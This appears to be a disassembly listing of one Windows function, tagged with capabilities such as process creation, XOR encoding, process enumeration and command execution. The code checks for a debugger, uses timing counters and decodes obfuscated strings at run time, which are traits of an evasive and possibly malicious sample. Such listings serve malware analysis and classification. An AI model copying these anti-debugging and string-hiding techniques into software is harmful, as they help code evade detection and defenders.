Function at 0x1400050b0
Capabilities:
Create process on windows
Encode data using xor
Enumerate processes
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x318]
sub rsp, 0x3f0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor esi, esi
mov dword [rsp + 0x40], esi
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
movabs r8, 0xb2f4fc0794908cf3
cmp rdi, 0x989680
jne 0x140005122
imul rdi, rcx, 0x64
jmp 0x140005192
cmp rdi, 0x16e3600
jne 0x140005176
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdi, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
add rdi, rdx
jmp 0x140005192
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
lea rdi, [rax + rcx]
mov eax, dword [0x14000dd20]
mov dword [rbp - 0x18], eax
movsd xmm0, qword [str._CWCUG_Y_]
movzx eax, byte [0x14000dd24]
movsd qword [rbp - 0x20], xmm0
mov byte [rbp - 0x14], al
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov ecx, esi
mov r15d, dword [0x140013050]
cmp r15d, 2
jl 0x1400052cc
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm2, xmmword [0x14000de70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000de90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000_t]
movd xmm0, dword [str._CWCUG_Y_]
xorps xmm2, xmm0
movd dword [rbp - 0x20], xmm2
movdqa xmm3, xmmword [0x14000de80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000de90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000_t]
movd xmm0, dword [rbp - 0x1c]
xorps xmm2, xmm0
movd dword [rbp - 0x1c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x1400052e0
lea rdx, [rbp - 0x20]
mov rcx, r9
call fcn.140009a00
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x48]
call fcn.140002700
nop
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.140009670
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140005384
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000537f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000537f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
mov eax, dword [str.HXNS]
mov dword [rbp - 0x18], eax
movzx eax, word [0x14000de2c]
movdqa xmm0, xmmword [0x14000de50]
mov word [rbp - 0x14], ax
movdqu xmmword [rbp - 0x38], xmm0
movzx eax, byte [0x14000de2e]
movsd xmm0, qword [str.sD_AQ_B]
mov byte [rbp - 0x12], al
movsd qword [rbp - 0x20], xmm0
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp - 0x48], si
mov ecx, esi
cmp r15d, 2
jl 0x1400054d9
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm2, xmmword [0x14000de70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000de90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000_t]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.sD_AQ_B]
xorps xmm2, xmm0
movd dword [rbp - 0x20], xmm2
movdqa xmm3, xmmword [0x14000de80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000de90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x1c]
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jl 0x1400054f0
lea rdx, [rbp - 0x20]
mov rcx, r9
call fcn.140009a00
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
mov rcx, rax
call fcn.14000aa20
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [str.cESA_XP]
movups xmmword [rbp - 0x10], xmm0
mov eax, dword [0x14000db60]
mov dword [rbp], eax
movzx eax, word [0x14000db64]
mov word [rbp + 4], ax
mov rbx, rdi
cmp byte [0x14000db65], 0
je 0x14000570d
mov ecx, esi
cmp r15d, 2
jl 0x1400056c9
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0xc]
mov edi, dword [rbp - 0x20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400055c1
cmp ecx, 0x16
jge 0x14000570d
movsxd rax, ecx
lea rdi, [rbp - 0x10]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0x16
jl 0x1400056e0
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a00
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [str.s_vnPA6]
mov dword [rsp + 0x40], eax
movzx ecx, word [0x14000dde4]
mov word [rsp + 0x44], cx
movzx eax, byte [0x14000dde6]
mov byte [rsp + 0x40], 0x43
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor cl, 0x34
mov byte [rsp + 0x44], cl
xor byte [rsp + 0x45], 0x35
xor al, 0x36
mov byte [rsp + 0x46], al
lea rax, [rsp + 0x40]
mov r12, 0xffffffffffffffff
mov rdi, r12
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x140005780
call fcn.14000afe0
lea rcx, [rsp + 0x40]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rbp + 0x30]
call fcn.1400019f0
nop
lea rcx, [rbp + 0x30]
call fcn.1400025f0
movzx edi, al
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x1400057fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
test dil, dil
jne 0x140006c1f
lea rcx, [rbp - 0x68]
call fcn.140004d10
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
mov rax, rdi
sub rax, rdx
cmp rax, 4
jb 0x140005845
lea rax, [rdx + 4]
mov qword [rcx + 0x10], rax
mov rax, rcx
cmp rdi, 0xf
jbe 0x140005837
mov rax, qword [rcx]
mov dword [rax + rdx], 0x6578652e
mov byte [rax + rdx + 4], 0
jmp 0x140005862
mov qword [rsp + 0x20], 4
lea r9, str..exe
mov edx, 4
call fcn.14000a5b0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1400058cd
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
movups xmm0, xmmword [str.bPW_X]
movups xmmword [rbp - 0x10], xmm0
movzx eax, word [0x14000ddd0]
mov word [rbp], ax
movzx eax, byte [0x14000ddd2]
mov byte [rbp + 2], al
mov ecx, esi
cmp r15d, 2
jl 0x140005a48
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0xc]
mov edi, dword [rbp - 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140005940
cmp ecx, 0x13
jge 0x140005a7f
movsxd rax, ecx
lea rdi, [rbp - 0x10]
add rdi, rax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0x13
jl 0x140005a52
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a00
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov rcx, rax
call fcn.14000aa20
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov qword [rbp + 8], 7
mov word [rbp - 0x10], si
mov dword [rsp + 0x40], 0x507
mov edx, 0x105
mov r9d, edx
lea rcx, [rbp - 0x10]
call fcn.140009f70
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
call fcn.14000b5a4
mov qword [rbp - 0x70], rax
mov ecx, eax
mov r8, qword [rbp]
cmp rcx, r8
ja 0x140005b24
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rax, qword [rbp - 0x10]
mov qword [rbp], rcx
mov word [rax + rcx*2], si
jmp 0x140005b73
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rbp + 8]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140005b67
mov qword [rbp], rcx
lea r9, [rbp - 0x10]
cmp rdi, 7
cmova r9, qword [rbp - 0x10]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140005b5c
movzx eax, si
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [rdx + r8]
mov word [r9 + rax*2], si
jmp 0x140005b73
mov r9, rdx
lea rcx, [rbp - 0x10]
call fcn.140009f70
lea rdx, [0x140013070]
mov r13d, 0x14
lea rcx, [0x140013080]
mov eax, dword [rbp - 0x6c]
cmp eax, 0xffffffff
jne 0x140005b9c
mov dword [rbp - 0x20], r13d
mov qword [rbp - 0x18], rcx
mov eax, r13d
jmp 0x140005ba3
mov dword [rbp - 0x20], eax
mov qword [rbp - 0x18], rdx
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rsp + 0x40], 0x307
test eax, eax
jne 0x140007686
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x10]
call fcn.140009670
lea rdi, [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
cmova rdi, rcx
jbe 0x140005c13
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140005c69
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
mov qword [rbp], rsi
mov qword [rbp + 8], 7
mov word [rbp - 0x10], si
mov rcx, r12
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140005c80
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp + 0x60]
sub rax, rdx
cmp rax, rcx
jb 0x14000769b
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rax, qword [rbp + 0x50]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdi
lea rcx, [rbp + 0x30]
call fcn.14000a900
nop
lea r15, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova r15, qword [rbp + 0x30]
movups xmm0, xmmword [str.XEFCG]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x14000dda8]
movups xmmword [rsp + 0x78], xmm1
movzx eax, byte [0x14000ddb8]
mov byte [rbp - 0x78], al
mov edi, esi
cmp dword [0x140013050], 2
jl 0x140005e48
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rsp + 0x6c]
mov edx, dword [rbp - 0x20]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140005d40
cmp edi, 0x21
jge 0x140005e8f
movsxd rax, edi
lea r8, [rsp + 0x68]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, dil
sub al, cl
add al, 0x30
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x140005e60
mov rdi, r12
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140005e92
call fcn.14000afe0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rbp - 0x68]
call fcn.1400019f0
mov r14d, 0x7907
lea rcx, [rbp - 0x68]
call fcn.1400025f0
movzx edi, al
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140005f0d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
test dil, dil
je 0x140005fb7
mov rdi, r12
nop dword [rax]
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140005f20
call fcn.14000afe0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400019f0
mov r14d, 0xc7907
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14000b6a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400076a1
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140005fb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fb2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.140004c40
movups xmm0, xmmword [0x14000dcb8]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [str._____..j]
movups xmmword [rsp + 0x78], xmm1
mov eax, dword [0x14000dcd8]
mov dword [rbp - 0x78], eax
movzx eax, word [0x14000dcdc]
mov word [rbp - 0x74], ax
movzx eax, byte [0x14000dcde]
mov byte [rbp - 0x72], al
mov ecx, esi
cmp dword [0x140013050], 2
jl 0x140006148
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rsp + 0x6c]
mov edi, dword [rbp - 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140006040
cmp ecx, 0x27
jge 0x14000618d
movsxd rax, ecx
lea rdi, [rsp + 0x68]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0x27
